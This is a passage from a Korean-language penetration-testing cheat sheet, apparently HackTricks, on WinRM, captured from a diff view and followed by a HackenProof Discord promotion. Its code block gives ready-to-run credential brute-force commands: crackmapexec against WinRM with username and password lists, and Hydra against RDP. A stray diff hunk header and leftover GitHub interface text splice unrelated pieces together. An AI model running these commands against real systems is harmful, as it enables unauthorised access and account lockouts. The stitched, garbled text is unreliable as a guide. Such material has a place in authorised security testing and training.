주의하세요, winrm에 대한 무차별 대입 공격은 사용자를 차단할 수 있습니다.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -291,19 +261,4 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More